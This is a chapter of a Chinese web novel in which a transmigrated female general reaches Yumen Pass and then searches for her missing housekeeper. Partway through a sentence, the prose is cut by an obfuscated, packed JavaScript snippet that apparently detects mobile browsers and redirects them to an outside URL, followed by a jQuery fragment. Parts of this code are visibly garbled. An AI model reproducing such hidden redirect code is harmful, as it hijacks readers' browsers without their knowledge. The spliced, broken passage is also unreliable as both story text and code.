8. 第 8 章
更难的路吗?

    如今,这已经是一条无法回头的路,没有退路可言。

    从锦川到玉门一月有余的行程,着实艰难。沿途翻山越岭,遇溪流便搭木桥,逢陡坡便凿石阶。

    待抵达玉门关时,众人皆形如枯槁,连行囊都显得格外沉重。浮千楼独自坐在河畔掬水洗脸,波光粼粼中瞥见自己倒影——昔日白面书生的模样早已褪去,两颊被晒得黝黑,下巴冒出青茬,连脖颈处都褪了层皮,与队伍里那些常年风吹日晒的汉子一般无二。

    他望着远处旌旗招展的玉门关大营,忽然想起钟诺在招贤时说过的话:“想立军功,先把皮磨厚些。”

    此刻他指尖抚过肩背处磨出的血泡,倒觉得这火辣辣的疼痛,比任何锦衣玉袍都更衬男儿风骨。

    钟诺玲骑着玄色战马缓辔踏入玉门关街市,铁甲摩擦的声音引来百姓的观望。

    街上胡商的驼队载着琉璃器缓缓驶过,戍卒家属在土坯房檐下晾晒青稞饼,孩童们追逐着沙狐皮毽子在烽火台下奔跑。

    马靴踩在夯实的黄土路上,听着市集嘈杂的叫卖声,忽然想起三年前刚穿过来的时候,战火纷飞,连炊烟都少见。

    "都督,前面就是安西驿。"亲卫在马侧低声提醒。

    钟诺玲却勒住缰绳,望着远处祁连山积雪在暮色中泛着冷光。忽有西域乐声随风飘来,胡琴与羯鼓交织的旋律里,她仿佛看见自己卸甲归田的模样——在玉门关外辟三亩瓜田,晨起牧马,暮归煮茶,听着驼铃入眠。

    要不,在这儿守一辈子也挺好。

    但她很快打消了这个念头,刚刚还明快的心情也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042851|178854||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    淡了几分。

    这里终究只是一个小世界,跟现代化的生活是截然不同的。

    "传令下去,戌时三刻在都尉府议事。"她一抖缰绳,战马昂首嘶鸣,蹄铁敲出火星溅落在关隘青石板上。

    暮色中的玉门关城楼亮起灯笼,将她的影子拉得很长,如同镇守边疆的古老烽燧,永远朝着漠北的方向。

    前方带队的校尉老远就疾步奔来,恭敬地向钟诺玲行军礼。

    钟诺玲向来不喜繁文缛节,随意摆了摆手,示意校尉自行去忙,接着转头吩咐身旁的亲卫姜凌,等校尉他们事毕,准备一桌丰盛酒菜款待,言罢,便迈着沉稳的步伐,径直朝都尉府内走去。

    钟诺玲踏入自己的院落,原以为苏嬷嬷会在院中相迎,可环顾一圈,并未瞧见她的身影,心中不禁泛起疑惑,寻思着她究竟去了何处。

    平日里钟诺玲忙于军中事务,在将军府停留的时日甚少,便将府内诸多事宜都交付给了管家与苏嬷嬷。

    管家周叔掌管着外院一应事务,诸如府中物资采办、下人差遣等,而府中银钱收支以及内院的大小琐事,则全由苏嬷嬷负责。

    以往每次钟诺玲从军中归来,苏嬷嬷总会立刻前来,将府中诸事详细汇报。

    她扬声唤门外的婢女进来:“苏嬷嬷呢?”

    将军府的婢女们都清楚,将军的书房与寝室唯有苏嬷嬷能够入内收拾整理,其他婢女就连靠近将军身边都难。

    一旦被苏嬷嬷察觉哪个婢女对将军有非分之想,必定会被毫不留情地打发

本章未完,请点击下一页继续阅读>>